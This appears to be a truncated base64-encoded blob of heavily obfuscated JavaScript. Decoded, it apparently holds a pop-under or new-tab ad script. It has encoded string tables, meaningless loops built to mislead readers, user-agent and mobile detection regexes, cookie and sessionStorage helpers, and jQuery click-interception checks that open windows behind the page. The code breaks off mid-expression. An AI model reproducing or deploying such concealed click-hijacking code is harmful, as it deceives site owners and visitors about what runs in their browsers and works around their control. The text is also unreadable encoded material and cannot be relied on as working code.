3KTtTZT13NS5mNig0MDMpO2plPXc1LmY2KDI5Mik7TGU9dzUuWjYoNTgpO3plPXc1Llo2KDE2NCk7QmU9Lyg/Ok9QUnxPcGVyYXxPUGlPUylcLyhbXGRcLl0rKSg/OiR8XHN8XC98XCkpKy9pO0llPXc1LmY2KDIyOSk7TWU9dzUuWjYoNDY3KTtXZT13NS5mNig0NjMpO0RlPXc1Llo2KDQzNyk7VWU9dzUuZjYoMTkzKTtSZT13NS5aNigzMyk7TmU9dzUuZjYoODUpO0hlPXc1LmY2KDQwOCk7cWU9dzUuZjYoMjApO0plPXc1Llo2KDk4KTtWZT13NS5mNigxMzYpOyRlPXc1LmY2KDI3Nyk7UWU9dzUuWjYoNyk7R2U9dzUuWjYoODYpO1llPXc1LmY2KDE3NSk7S2U9dzUuWjYoMjcxKTtaZT13NS5aNigzOTkpO1hlPXc1LmY2KDEzMyk7dGk9dzUuWjYoOTUpO2VpPXc1LmY2KDE1Mik7aWk9dzUuWjYoMzEyKTtuaT13NS5aNigyOTgpO3JpPXc1Llo2KDQzMyk7b2k9dzUuZjYoMTgzKTtzaT0vYW5kcm9pZHx3ZWJvc3xpcGhvbmV8aXBhZHxpcG9kfGJsYWNrYmVycnl8aWVtb2JpbGV8b3BlcmFccyttaW5pLzthaT13NS5aNigzODIpO2NpPXc1LmY2KDEyNyk7dWk9dzUuWjYoMzM2KTtoaT13NS5aNigyOTUpO2ZpPXc1Llo2KDMwNyk7cGk9dzUuZjYoMjUxKTtfaT13NS5mNig0MTkpO2xpPXc1LmY2KDMxKTtkaT13NS5aNigyNzQpO3ZpPXc1LmY2KDQ0Nik7Ymk9dzUuWjYoMTYzKTttaT13NS5mNig5NCk7Z2k9dzUuWjYoMjIwKTt5aT13NS5aNigzNTQpO2tpPXc1Llo2KDE4Nik7d2k9dzUuZjYoNDEyKTt4aT13NS5mNig0NDcpO09pPXc1Llo2KDQwNCk7Q2k9dzUuZjYoNTIpO0VpPXc1Llo2KDY4KTtQaT13NS5mNigzNSk7VGk9dzUuZjYoNTYpO0FpPXc1LmY2KDEwMyk7Rmk9dzUuWjYoMzc5KTtTaT13NS5mNig0NTEpO2ppPXc1Llo2KDQ3NSk7TGk9dzUuWjYoMjEpO3ppPXc1LmY2KDE3MSk7Qmk9dzUuZjYoMTMxKTtJaT13NS5mNig0ODgpO01pPXc1LmY2KDE4MCk7V2k9dzUuWjYoNDQ1KTtEaT0vYnV0dG9ufGlucHV0L2k7VWk9dzUuWjYoMTM0KTtSaT13NS5mNigyMjgpO05pPXc1LmY2KDc4KTtIaT13NS5aNig1NCk7cWk9dzUuWjYoMTY3KTtKaT13NS5mNig0NjUpO1ZpPXc1Llo2KDMzNSk7JGk9dzUuZjYoMTY5KTtRaT13NS5mNigzNjgpO0dpPXc1LmY2KDI4Nyk7WWk9dzUuWjYoMzQ4KTtLaT13NS5mNigzMDEpO1ppPXc1LmY2KDQ0KTtYaT13NS5mNigyNjQpO3RuPXc1LmY2KDc3KTtlbj13NS5mNig0NjApO25uPXc1LmY2KDMzNyk7cm49dzUuWjYoMTU3KTtvbj13NS5aNigzMjUpO3NuPXc1LmY2KDIzNyk7YW49dzUuZjYoNDg2KTtjbj13NS5mNigxNTUpO3VuPXc1Llo2KDEwNCk7aG49dzUuWjYoMzU2KTtmbj13NS5aNig0OCk7cG49dzUuZjYoMjQyKTtfbj13NS5mNig0MDApO2xuPXc1Llo2KDI2NSk7ZG49dzUuZjYoMjg0KTt2bj13NS5aNigyODgpO2JuPXc1LmY2KDQzOSk7bW49dzUuWjYoMzQxKTtnbj13NS5aNigyMDMpO3luPXc1LmY2KDIxNyk7a249dzUuWjYoMzIxKTt3bj13NS5mNig0MzIpO3huPXc1LmY2KDIyKTtPbj02NDc9PSg0OTguMjUsMjAwKT8oMS42OWUrMyw0NjkpOnc1LmY2KDk2KTtDbj13NS5mNigzODMpO0VuPXc1LmY2KDM1OSk7UG49dzUuWjYoMzUwKTtUbj0vXk9wZXJhXC8uKj9QcmVzdG9cLy4qP1ZlcnNpb25cLyhbXGRcLl0rKS9pO0FuPXc1Llo2KDE5MSk7Rm49dzUuZjYoNDQ4KTtTbj13NS5mNigyNDQpO2puPXc1Llo2KDIzMSk7TG49dzUuZjYoMTIwKTt6bj13NS5mNig0NTApO0JuPXc1Llo2KDExOCk7SW49dzUuZjYoNik7TW49dzUuWjYoNzUpO1duPXc1LmY2KDEyMyk7RG49dzUuWjYoMzA0KTtVbj0vcmVzZXR8YnV0dG9ufHN1Ym1pdC9pO1JuPXc1LmY2KDQ4NCk7Tm49dzUuZjYoMTk2KTtIbj13NS5mNigyMjYpO3FuPXc1LmY2KDM1Myk7Sm49dzUuWjYoMTgpO1ZuPXc1LmY2KDE2OCk7JG49dzUuZjYoMzE0KTtRbj13NS5aNig0NzEpO0duPXc1LmY2KDQ1OSk7WW49dzUuZjYoMzE3KTtLbj13NS5mNigyNDkpO1puPS9WZXJzaW9uXC8oW1xkXC5dKylccysobW9iaWxlXC9bXlxzXStccyspP1NhZmFyaS9pO1huPXc1LmY2KDE0NSk7dHI9dzUuWjYoMjQwKTtlcj13NS5mNigxOSk7aXI9dzUuWjYoNDg5KTtucj13NS5aNigyNzYpO3JyPXc1LmY2KDQ4Mik7b3I9dzUuZjYoNDY2KTtzcj13NS5aNigyNzApO2FyPXc1Llo2KDE0Nyk7Y3I9dzUuZjYoMjQpO3VyPXc1LmY2KDgzKTtocj13NS5aNigyNzkpO2ZyPXc1Llo2KDQzKTtwcj13NS5mNig0MjApO19yPXc1LmY2KDQ2Mik7bHI9L2Nocm9tZXxjcmlvcy87ZHI9dzUuWjYoNDExKTt2cj0vIy4qJC87YnI9dzUuZjYoMTU5KTttcj13NS5aNigwKTtncj0vKGNvbXBhdGlibGV8d2Via2l0KS87eXI9L0Z4aU9TXC8oW1xkXC5dKykvaTtrcj13NS5mNig1OSk7d3I9dzUuWjYoMzgpO3hyPXc1LmY2KDE5OCk7T3I9dzUuZjYoMTApO0NyPXc1LmY2KDQ2NCk7RXI9dzUuWjYoMTE2KTtQcj13NS5mNigzNjkpO1RyPXc1LmY2KDEyMSk7QXI9L21zaWV8dHJpZGVudFwvLztGcj13NS5mNigyNTYpO1NyPXc1LmY2KDQ3MCk7anI9dzUuZjYoMjkzKTtMcj13NS5mNig4Nyk7enI9L2Nocm9tZXxvcGVyYXxlZGdlfGNyaW9zfG9waW9zfGZ4aW9zfHVjL2k7QnI9dzUuWjYoMjUyKTtJcj13NS5aNigxMDgpO01yPXc1LmY2KDkxKTtXcj13NS5mNigyKTtEcj13NS5mNigyNjgpO1VyPXc1Llo2KDI3OCk7UnI9dzUuWjYoMzI2KTtOcj13NS5mNig5KTtIcj13NS5mNigxMzIpO3FyPXc1Llo2KDMyNCk7SnI9LyhhbmRyb2lkfGJiXGQrfG1lZWdvKS4rbW9iaWxlfGF2YW50Z298YmFkYVwvfGJsYWNrYmVycnl8YmxhemVyfGNvbXBhbHxlbGFpbmV8ZmVubmVjfGhpcHRvcHxpZW1vYmlsZXxpcChob25lfG9kKXxpcGFkfGlyaXN8a2luZGxlfEFuZHJvaWR8U2lsa3xsZ2UgfG1hZW1vfG1pZHB8bW1wfG5ldGZyb250fG9wZXJhIG0ob2J8aW4paXxwYWxtKCBvcyk/fHBob25lfHAoaXhpfHJlKVwvfHBsdWNrZXJ8cG9ja2V0fHBzcHxzZXJpZXMoNHw2KTB8c3ltYmlhbnx0cmVvfHVwXC4oYnJvd3NlcnxsaW5rKXx2b2RhZm9uZXx3YXB8d2luZG93cyAoY2V8cGhvbmUpfHhkYXx4aWluby9pO1ZyPSgyNDk2LDg0OTUpIT05NzY/dzUuZjYoMjk3KTohITA7JHI9dzUuWjYoNDI2KTtRcj13NS5mNigyMjUpO0dyPXc1LmY2KDE4OCk7WXI9dzUuZjYoNDMxKTtLcj13NS5mNigyNTApO1pyPXc1Llo2KDI2MSk7WHI9dzUuZjYoMTc2KTt0bz13NS5mNigyNSk7ZW89dzUuWjYoMTk1KTtpbz13NS5mNigzMjgpO25vPXc1Llo2KDQwOSk7cm89dzUuZjYoMzQ5KTtvbz13NS5aNigzMjIpO3NvPXc1Llo2KDMxNik7YW89dzUuWjYoMzg1KTtjbz13NS5mNigxMTMpO3VvPXc1LmY2KDQ3NCk7aG89dzUuWjYoMjY3KTtmbz13NS5mNigyNjYpO3BvPXc1Llo2KDQwNyk7X289dzUuWjYoNjMpO2xvPXc1Llo2KDM2Nyk7dm89L3dlYmtpdC87Ym89dzUuWjYoNDUyKTttbz0vc2FmYXJpLztnbz13NS5aNig5Myk7eW89L29wZXJhfG9wcnxvcGlvc1wvLztrbz13NS5aNigzMzEpO3dvPXc1LmY2KDI2KTt4bz13NS5aNigxODIpO09vPXc1LmY2KDM4MCk7Q289dzUuWjYoMTEwKTtFbz13NS5mNigxMTIpO1BvPXc1LmY2KDMwNSk7VG89dzUuZjYoNzQpO0FvPXc1LmY2KDEwMik7Rm89dzUuZjYoNDc4KTtTbz0vYW5kcm9pZC87am89dzUuZjYoMzkxKTtMbz13NS5aNigzMDYpO3pvPXc1LmY2KDQwNSk7Qm89dzUuWjYoOTkpO0lvPXc1Llo2KDM5Nik7TW89dzUuWjYoNDQwKTtXbz13NS5mNig2Nyk7RG89dzUuWjYoNDAxKTtVbz13NS5aNigxNTQpO1JvPXc1LmY2KDI4OSk7Tm89dzUuWjYoMzkzKTtIbz13NS5mNig3OSk7cW89dzUuWjYoMTQwKTtKbz13NS5aNigzNzIpO1ZvPXc1Llo2KDQyMik7JG89dzUuZjYoNDQ5KTtRbz13NS5aNigzOTUpO0dvPXc1Llo2KDIwNik7WW89dzUuWjYoMjQzKTtLbz13NS5mNig2Mik7Wm89dzUuWjYoNDg1KTtYbz13NS5mNigxMzApO3RzPXc1Llo2KDE1Nik7ZXM9dzUuZjYoMjAxKTtpcz13NS5aNigzNjEpO25zPXc1LmY2KDMxNSk7cnM9dzUuWjYoMTIyKTtvcz13NS5mNig3MCk7c3M9dzUuZjYoMjU3KTthcz13NS5aNig0MjUpO2NzPXc1LmY2KDMzMCk7dXM9dzUuZjYoNzMpO2hzPXc1LmY2KDMwMyk7ZnM9dzUuWjYoMTAwKTtwcz13NS5mNigzNzQpO19zPXc1Llo2KDY2KTtscz0oODI2LjA2LDk5Ny4yKSE9PSgyNjIuNzksNzAwLjQpP3c1LmY2KDE3OSk6KG81LHc1Llo2KDM2KSk7ZHM9dzUuWjYoMjIzKTt2cz13NS5mNigxMTkpO2JzPXc1Llo2KDMwOCk7bXM9dzUuZjYoNDcpO2dzPXc1Llo2KDMxOSk7eXM9dzUuZjYoMTgxKTtrcz13NS5mNigzNDUpO3dzPXc1Llo2KDE1KTt4cz0vXigjfGphdmFzY3JpcHQpL2k7T3M9dzUuWjYoMzY2KTtDcz13NS5aNigxOTkpO0VzPXc1Llo2KDM4NCk7UHM9dzUuZjYoNDA2KTtUcz13NS5mNig0MjkpO0FzPXc1LmY2KDI0Nyk7RnM9dzUuZjYoNDQzKTtTcz13NS5mNigzMzgpO2pzPS8oPzpGaXJlZm94fENocm9tZSlcLyhbXGRcLl0rKSg/OiR8XHN8XC98XCkpKy9pO0xzPXc1Llo2KDM3MCk7enM9dzUuZjYoMzEwKTtCcz13NS5aNigzODYpO0lzPXc1Llo2KDI5NCk7TXM9dzUuWjYoMjgzKTtXcz13NS5aNigzODcpO0RzPXc1LmY2KDM5KTtVcz13NS5aNigxMDYpO1JzPXc1LmY2KDIwMik7TnM9dzUuWjYoMzExKTtIcz13NS5mNig0MzgpO3FzPXc1LmY2KDcxKTtKcz13NS5mNigxMzcpO1ZzPXc1Llo2KDI3KTskcz13NS5aNig4NCk7UXM9L18vZztHcz13NS5aNigxNTgpO1lzPXc1Llo2KDE5Mik7S3M9dzUuZjYoNDIzKTtacz13NS5mNigzMzkpO1hzPXc1Llo2KDE1MCk7dGE9dzUuWjYoMTQyKTtlYT13NS5mNig0KTtpYT13NS5aNig0MTApO25hPXc1LmY2KDIzNik7cmE9dzUuZjYoNDAyKTtvYT13NS5mNigyMTQpO3NhPXc1Llo2KDQxNyk7YWE9dzUuZjYoMTg0KTtjYT13NS5aNigxOTcpO3VhPXc1LmY2KDIzMyk7aGE9dzUuZjYoMzApO2ZhPS9saW51eC87cGE9dzUuWjYoMjgyKTtfYT0vb3BlcmEvO2xhPXc1Llo2KDM2NCk7ZGE9dzUuWjYoMTczKTt2YT13NS5aNigzMDApO2JhPXc1LmY2KDIzNSk7bWE9L2VkZ2V8b3ByXC8vO2dhPXc1LmY2KDI4NSk7eWE9dzUuZjYoNDYpO2thPXc1Llo2KDEzKTt3YT13NS5aNigyMDUpO3hhPXc1LmY2KDIyNCk7T2E9dzUuZjYoMzQ0KTtDYT13NS5aNigyMTMpO0VhPS9FZGdlXC8oW1xkXC5dKykoPzokfFxzfFwvfFwpKSsvaTtQYT13NS5mNigxMjYpO1RhPXc1Llo2KDExNCk7QWE9L14oPzouKlteXHddKSooW1x3XSspXHMqJC9pO0ZhPXc1LmY2KDM5Mik7U2E9dzUuWjYoNjkpO2phPXc1LmY2KDMpO0xhPXc1LmY2KDQ1KTt6YT13NS5mNigzMjMpO0JhPXc1LmY2KDEzOSk7SWE9dzUuWjYoMTI5KTtNYT13NS5mNig4KTtXYT13NS5mNig0Mik7RGE9dzUuZjYoMSk7VWE9dzUuWjYoODkpO1JhPXc1LmY2KDIwOSk7TmE9dzUuZjYoMjgpO0hhPXc1LmY2KDIxOSk7cWE9dzUuWjYoMjMwKTtKYT13NS5aNig4MSk7VmE9dzUuWjYoMzA5KTskYT13NS5mNigzNDcpO1FhPXc1LmY2KDM4MSk7R2E9dzUuWjYoOTIpO1lhPXc1LmY2KDEyNSk7S2E9dzUuWjYoMzIpO1phPXc1LmY2KDM5MCk7WGE9dzUuZjYoNDY4KTt0Yz13NS5mNigzNik7ZWM9dzUuZjYoMzk3KTtpYz13NS5aNig0ODApO25jPXc1LmY2KDIyMik7cmM9dzUuZjYoNDU3KTtvYz13NS5aNigzNTIpO3NjPXc1Llo2KDI5KTthYz0vaShQaG9uZXxQYWR8UG9kKS9pO2NjPXc1LmY2KDQzNCk7dWM9dzUuZjYoNDIxKTtoYz13NS5aNig0NzMpO2ZjPXc1LmY2KDE3MCk7cGM9dzUuZjYoMjYyKTtfYz13NS5aNigxNTEpO2xjPXc1LmY2KDQ5KTtkYz13NS5mNigyNTQpO3ZjPXc1LmY2KDQyOCk7YmM9dzUuZjYoMTUzKTttYz13NS5aNigyNjkpO2djPXc1Llo2KDU3KTt5Yz13NS5mNigzNTcpO2tjPS9UcmlkZW50XC8uKj9ydjooW1xkXC5dKykoPzokfFxzfFwvfFwpKSsvaTt3Yz13NS5aNig0NTMpO3hjPXc1Llo2KDQ3Nik7T2M9dzUuZjYoNDU0KTtDYz13NS5mNig0NTgpO0VjPXc1LmY2KDgwKTtQYz0vOlxkKyQvO1RjPXc1Llo2KDI3Mik7QWM9dzUuWjYoMzI3KTtGYz13NS5mNig0NzkpO1NjPXc1Llo2KDYxKTtqYz13NS5mNigyOTEpO0xjPXc1Llo2KDIzMik7emM9dzUuWjYoMTEpO0JjPXc1LmY2KDM0Nik7SWM9dzUuWjYoMTA1KTtNYz13NS5aNig0NzcpO1djPXc1Llo2KDQwKTtEYz13NS5aNig3Nik7VWM9dzUuWjYoMTYpO1JjPXc1Llo2KDIyNyk7TmM9dzUuWjYoMjA0KTtIYz13NS5mNigzNyk7IWZ1bmN0aW9uKHQseSxSdCxYZSxyaSx5aSxBaSxObixkcixVcixpbyxybyxDbyxHcyx6YyxVYyxxYyxKYyxWYywkYyl7InVzZSBzdHJpY3QiO3ZhciBRYyxHYyxZYyxLYyxaYyxYYyx0dSxldSxpdSxudSxydSxvdSxzdSxhdSxjdSx1dSxodSxmdSxwdSxfdSxsdSxkdSx2dSxidSxtdSxndSx5dSxrdSx3dSx4dSxPdSxDdSxFdSxQdSxUdSxBdSxGdTtydT10O3c1Llk0KDApO291PXc1LmM0KHVpLEdyLGJyLF9yLFllLFNpLFR0LGRuLFllLHUsbWksT3QsR3IsWWUsdXIpO3c1Llk0KDEpO3N1PXc1LnU0KGZlLFR0LEh0LG90LFR0KTt3NS5vNCgxKTthdT13NS51NChXaSxQZSxLLF9jLFBlKTt3NS5ZNCgyKTtjdT13NS5jNChydSxnaSk7dzUubzQoMik7dXU9dzUudTQocnUsWm8pO3c1Lm80KDMpO2h1PXc1LmM0KE9jLHJ1LEJpLFV0LEdyLEdyKTt3NS5vNCgyKTtmdT13NS51NChydSwkYSk7cHU9YW87X3U9eGk7bHU9THI7ZHU9bW47dnU9eVtmXVtxbytHcitDXVtYcytHcit0cytHcituY10oKTtidT17dW5kZXI6bzUsbmV3VGFiOm81fTttdT1udWxsO2d1PW81O3l1PSF7fTtrdT1mdW5jdGlvbigpe307dzUuWTQoNCk7d3U9dzUudTQoR3IsT3QsRXQpO3h1PXJpW3ZzK0dyK0FvXXx8e3NyYzpudWxsfTt3NS5vNCg0KTtPdT15W2ZdW3c1LmM0KGVvLEdyLGtyKV07Q3U9eXU7RXU9eXU7UHU9eXU7VHU9ZnVuY3Rpb24oKXt2YXIgRTksbzksdzk7dHJ5e0U5PTM2MDIzMDM0MztvOT01MDA4ODEwMDM7dzk9Mjtmb3IodmFyIGI1PTE7dzUuTDEoYjUudG9TdHJpbmcoKSxiNS50b1N0cmluZygpLmxlbmd0aCw1ODI0MykhPT1FOTtiNSsrKXtyZXR1cm4geVtwXT09PXlbcXJdfHwheVtwXVttcl1bRWldWyhYcy1HciklaF0oKSE9VGM/eVtwXTp5W3FyXTt3OSs9Mjt9aWYodzUuTDEodzkudG9TdHJpbmcoKSx3OS50b1N0cmluZygpLmxlbmd0aCw1MTUyOSkhPT1vOSl7cmV0dXJuIHlbcF0hPT15W3FyXSYmdHlwZW9mIHlbcF1bbXJdW0VpXVtYcytHcitoXSgpPT09VGM/eVtwXTp5W3FyXTt9fWNhdGNoKHQpe3ZhciBBOSxJOSxLOTtBOT0yMjIyMDY4MDc7STk9NDU1MTUwMTA4O0s5PTI7Zm9yKHZhciBROT0xO3c1LkwxKFE5LnRvU3RyaW5nKCksUTkudG9TdHJpbmcoKS5sZW5ndGgsNjg5NDApIT09QTk7UTkrKyl7cmV0dXJuIFB1PWd1LHlbcXJdO0s5Kz0yO31pZih3NS5MMShLOS50b1N0cmluZygpLEs5LnRvU3RyaW5nKCkubGVuZ3RoLDU2NzU3KSE9PUk5KXtyZXR1cm4gUHU9Z3UseVtxcl07fX19KCk7QXU9VHVbSmFdW1FhXTtGdT1mdW5jdGlvbigpe3ZhciB0O3RyeXt0PVR1W0VpXVt1bl07fWNhdGNoKHQpe31yZXR1cm4hUHUmJnR8fChidT17bmV3VGFiOmd1LHVuZGVyOnl1fSx0PXJpW2lhXSksdDt9KCk7S2M9e3Q6W10sbjpmdW5jdGlvbih0KXt2YXIgSDcsdjcsVDc7SDc9MTg2NDAwNjYwNDt2Nz03MzE4NDIzNTE7VDc9Mjtmb3IodmFyIG83PTE7dzUuZDEobzcudG9TdHJpbmcoKSxvNy50b1N0cmluZygpLmxlbmd0aCw5MTY5NikhPT1INztvNysrKXt0eXBlb2YgeVt3c10hPT1nZSYmeVt3c11bT29dJiZObltvYV1bQ2ldKHlbd3NdW09vXSxjb25zb2xlLHQpO1Q3Kz0yO31pZih3NS5kMShUNy50b1N0cmluZygpLFQ3LnRvU3RyaW5nKCkubGVuZ3RoLDI0OTc5KSE9PXY3KXt+eVt3c109PT1nZXx8eVt3c11bT29dfHxObltvYV1bQ2ldKHlbd3NdW09vXSxjb25zb2xlLHQpO319LHI6ZnVuY3Rpb24oKXtmb3IodmFyIHQ9MDt0PHRoaXMudFtwaV07dCsrKXt0aGlzLm4odGhpcy50W3RdKTt9fSxlOmZ1bmN0aW9uKHQpe3ZhciBlO2U9W3RdW0tuXShBaVtYdF1bcW5dW0NpXShhcmd1bWVudHMsMSkpO3RoaXMudFtNcl0oZSk7R2MuaSgpJiZ0aGlzLm4oZSk7fX07ZXU9e3M6ZnVuY3Rpb24oKXtpZih0aGlzLm89PT1tdSl0cnl7eVthcytHcit0aV1bbGkrR3IrRXJdKHJ1LDEpO3lbYXMrR3IrdGldW3huK0dyK0VyXShydSk7dGhpcy5vPWd1O31jYXRjaCh0KXt2YXIgdzcscDcsYjk7dzc9LTE2MTA5ODQyMzA7cDc9OTg2NDU4NDQ2O2I5PTI7Zm9yKHZhciBtOT0xO3c1LmQxKG05LnRvU3RyaW5nKCksbTkudG9TdHJpbmcoKS5sZW5ndGgsODg3MTMpIT09dzc7bTkrKyl7dGhpcy5vPXl1O2I5Kz0yO31pZih3NS5MMShiOS50b1N0cmluZygpLGI5LnRvU3RyaW5nKCkubGVuZ3RoLDMzNDE0KSE9PXA3KXt0aGlzLm89eXU7fXRoaXMubz15dTt9cmV0dXJuIHRoaXMubzt9LHU6ZnVuY3Rpb24odCl7dGhpcy5zKCk/eVthcytHcit0aV1beG4rR3IrRXJdKHQpOnR1LnUodCk7fSxjOmZ1bmN0aW9uKHQpe3RyeXtyZXR1cm4gdGhpcy5zKCk/eVthcytHcit0aV1bYWErR3IrRXJdKHQpOnR1LmModCk7fWNhdGNoKHQpe3JldHVybiBtdTt9fSxvOm11LGE6ZnVuY3Rpb24odCxlKXt0aGlzLnMoKT95W2FzK0dyK3RpXVtsaStHcitFcl0odCxlKTp0dS5hKHQsZSk7fX07dHU9e3U6ZnVuY3Rpb24odCl7dGhpcy5hKHQsMCxuZXcgSmMoMCkpO30sYzpmdW5jdGlvbih0KXt2YXIgZTt3NS5ZNCg1KTtlPXJpW050XVtiY10obmV3IFVyKHc1LnU0KGVyLEdyLEdyLGV0LHNjLHQsR3IsR3IsdHQsdWMsR3IsR3IsSm8sR3IpLGxzKSk7cmV0dXJuIGU/VmMoZVswXVtDcl0oR3IrZXQrR3IpWzFdKTptdTt9LGE6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgbyxzO3M9aXx8R3I7cyYmKHR5cGVvZiBzPT09V3Q/KG89bmV3IEpjKCkpW2xpK0dyK0hdKG9bYWErR3IrSF0oKSsxZTMqcyk6bz1zLHM9R3IrZXIrZmkrZXQrR3Irb1tYcytHcitWcitHcit4YytHcitXK0dyK2hdKCkpO3JpW050XT10KyhHcitldCtHcikrJGMoR3IrZSkrcysocj9HcitlcitkcytldCtHcityOkdyKSsoR3IrZXIrQXQrZXQrR3IpKyhufHxHcitQZStHcik7fX07WmM9e3A6ZnVuY3Rpb24odCl7dmFyIGUsaTtpPXt9O2ZvcihlPTA7ZTx0W3BpXTtlKyspe2lbdFtlXVswXV09dFtlXVsxXTt9cmV0dXJuIGk7fSxXOmZ1bmN0aW9uKHQsZSxpKXt2YXIgbjt0cnl7cmV0dXJuIG49dFthYStHcitHaV0oZSksdHlwZW9mIGkhPT1UYz95dTohIW5ldyBVcihGbitpK01zLGxzKVtqY10obik7fWNhdGNoKHQpe3JldHVybiB5dTt9fSxBOmZ1bmN0aW9uKCl7dHJ5e3JldHVybiB0eXBlb2YgeS5qUXVlcnkuZm4ub249PT1aczt9Y2F0Y2godCl7cmV0dXJuIHl1O319LEc6ZnVuY3Rpb24odCl7cmV0dXJuKHQ/bmV3IEpjKHQpOm5ldyBKYygpKVthYStHcitIXSgpO30sTTpmdW5jdGlvbih0KXt2YXIgbTAsQTAsSTAsZSxsNyxjNyxWNzttMD0tMTc4MjYxMjU4MTtBMD0tMTYzMzI0MDE2NDtJMD0yO2Zvcih2YXIgcjA9MTt3NS5MMShyMC50b1N0cmluZygpLHIwLnRvU3RyaW5nKCkubGVuZ3RoLDM0ODU4KSE9PW0wO3IwKyspe0kwKz0yO31pZih3NS5MMShJMC50b1N0cmluZygpLEkwLnRvU3RyaW5nKCkubGVuZ3RoLDg0OTA2KSE9PUEwKXt9dHJ5e2w3PS0xMjU4NTI0ODY5O2M3PTc3MTI1MDQ2ODtWNz0yO2Zvcih2YXIgeTc9MTt3NS5kMSh5Ny50b1N0cmluZygpLHk3LnRvU3RyaW5nKCkubGVuZ3RoLDEwMjkyKSE9PWw3O3k3KyspeyhlPXRbSmFdW1FhXShVYStWdCtjaSkpW2JvXSgpO2VbSW9dKCk7VjcrPTI7fWlmKHc1LmQxKFY3LnRvU3RyaW5nKCksVjcudG9TdHJpbmcoKS5sZW5ndGgsMjYwMTcpIT09YzcpeyhlPXRbSmFdW1FhXSgoVWEtVnQpL2NpKSlbYm9dKCk7ZVtJb10oKTt9fWNhdGNoKHQpe30oZT1BdShVYStWdCtjaSkpW2JvXSgpO2VbSW9dKCk7fSxUOmZ1bmN0aW9uKHQpe3QmJihUdVtFaV09dCk7fSxxOmZ1bmN0aW9uKHQpe2Zvcih2YXIgZSxpPVt5cixUbixFYSxCZSxqcyxabixqdCxrYyx3ZV0sbj0wO248aVtwaV07bisrKWlmKGU9aVtuXVtqY10odnUpKXtyZXR1cm4gdD9VYyhlWzFdLDEwKTplWzFdW1pdKFFzLEdyK1R0K0dyKTt9cmV0dXJuIG11O30sTDpmdW5jdGlvbih0LGUpe3c1Llk0KDcpO3JldHVybiB3NS51NChZZSxlcixHcix0LGllLHlzLEdyLGUsR3IsVmUsVnQsR3IpO30sXzpmdW5jdGlvbih0KXt2YXIgZSxpLG4sUTAsZTAsajA7UTA9LTE2NDA5MDY2NDA7ZTA9MzYxNTQ4MTI4O2owPTI7Zm9yKHZhciB0MD0xO3c1LmQxKHQwLnRvU3RyaW5nKCksdDAudG9TdHJpbmcoKS5sZW5ndGgsMzk3NjcpIT09UTA7dDArKyl7aT15O3c1Llk0KDQpO249dFtDcl0odzUudTQoR3IsVHQsR3IpKTtmb3IoZT0wO2U8bltwaV07ZSsrKXtpPWlbbltlXV07fXJldHVybiBpO2owKz0yO31pZih3NS5MMShqMC50b1N0cmluZygpLGowLnRvU3RyaW5nKCkubGVuZ3RoLDQ3NjE4KSE9PWUwKXtpPXk7dzUuWTQoNik7bj10W0NyXSh3NS51NChUdCxHcixHcikpO2ZvcihlPTQ7ZTw9bltwaV07ZS0tKXtpPWlbbltlXV07fXJldHVybiBpO319LFM6ZnVuY3Rpb24odCl7dmFyIGUsaSxuLHIsbyxzMCxEMCxXMCxVMCx4MCx6MDtvPXkualF1ZXJ5fHxudWxsO2lmKHQmJnRbQW5dKXtyZXR1cm4gZ3U7fWlmKCFvKXtyZXR1cm4geXU7fXRyeXtzMD0tMTYxNTA0NTA7RDA9LTE5OTUwMzAzNTQ7VzA9Mjtmb3IodmFyIGMwPTE7dzUuZDEoYzAudG9TdHJpbmcoKSxjMC50b1N0cmluZygpLmxlbmd0aCw5Nzc5KSE9PXMwO2MwKyspe2lmKChlPShvKHQpW2llXShHYSkmJm8uaih0LEdhKSlbZ3NdKVtwaV0pe3JldHVybiBndTt9VzArPTI7fWlmKHc1LkwxKFcwLnRvU3RyaW5nKCksVzAudG9TdHJpbmcoKS5sZW5ndGgsMjI1MTYpIT09RDApe2lmKChlPShvKHQpW2llXShHYSl8fG8uaih0LEdhKSlbZ3NdKVtwaV0pe3JldHVybiBndTt9fX1jYXRjaCh0KXt9dHJ5e1UwPS0xMjgxMDM4MTgyO3gwPS01MjI2MTY2MzI7ejA9Mjtmb3IodmFyIGkwPTE7dzUuTDEoaTAudG9TdHJpbmcoKSxpMC50b1N0cmluZygpLmxlbmd0aCwzMjg1OSkhPT1VMDtpMCsrKXtmb3IoZT1vKHJpW1FyXSlbaWVdKEdhKVtnc10saT00O2k+ZVtwaV07aS0tKWZvcihyPW8oZVtpXVtvZV0pLG49NztuPj1yW3BpXTtuLS0paWYocltuXT09dCl7cmV0dXJuIGd1O316MCs9Mjt9aWYodzUuTDEoejAudG9TdHJpbmcoKSx6MC50b1N0cmluZygpLmxlbmd0aCw4ODE3MikhPT14MCl7Zm9yKGU9byhyaVtRcl0pW2llXShHYSlbZ3NdLGk9NDtpPmVbcGldO2ktLSlmb3Iocj1vKGVbaV1bb2VdKSxuPTc7bj49cltwaV07bi0tKWlmKHJbbl09PXQpe3JldHVybiBndTt9fWZvcihlPW8ocmlbUXJdKVtpZV0oR2EpW2dzXSxpPTA7aTxlW3BpXTtpKyspZm9yKHI9byhlW2ldW29lXSksbj0wO248cltwaV07bisrKWlmKHJbbl09PT10KXtyZXR1cm4gZ3U7fX1jYXRjaCh0KXt9cmV0dXJuIHl1O30sQzpmdW5jdGlvbih0LGUsaSl7dmFyIG4scixvO289WmMuTyhvNSk7cmV0dXJuIG49b1t0bytHcit5YV1bbXJdW1VzK0dyK0NuXShkZSksbltPXT1yYStQZStDdCxuW1BhK0dyK2FpK0dyK3hjK0dyK3p0K0dyK3BhXT1HcisoSmErVHQrX3QrWWUrR3IrZXQrR3IrWWUrSmErVHQrcCtZZStHcitldCtHcitZZStKYStUdCt1cytHcitDbitZZStHcitldCtHcitZZStkK2VyK0dyKSsoSmErVHQrJG4rWWUrR3IrZXQrR3IrWWUrWnMrUit6K1ZlK0dyK1llK3NvK1ZlK0dyK1llK0NlK1ArR3IrWWUrR3Ird24rR3IpKyh1YStZZStCcytHcitYbytZZStHcitldCtHcitZZStKYStUdCtRYStSK3orVmUrR3IrWWUrc28rVmUrR3IrWWUrQ2UrUCtHcitlcitHcikrKFdyK1llK0dyK3duK0JzK0dyK1hvK1R0K1dvK1llK0dyK2V0K0dyK1llK2QrRHIrR3IrWWUrQXMrWWUrR3IrUitJYStQK0dyK1llK0dyK3duK0dyK0RyK0dyKSsoTnIrWWUrQnMrR3IrWG8rZXIrR3IpKyhHcitEcitHcitlcitHciksb1t0bytHcit5YV1bbXJdW1FyXVtJdCtHcitXZV0obikscj1vW3RvK0dyK3lhXS5ta3AodCxlLGkp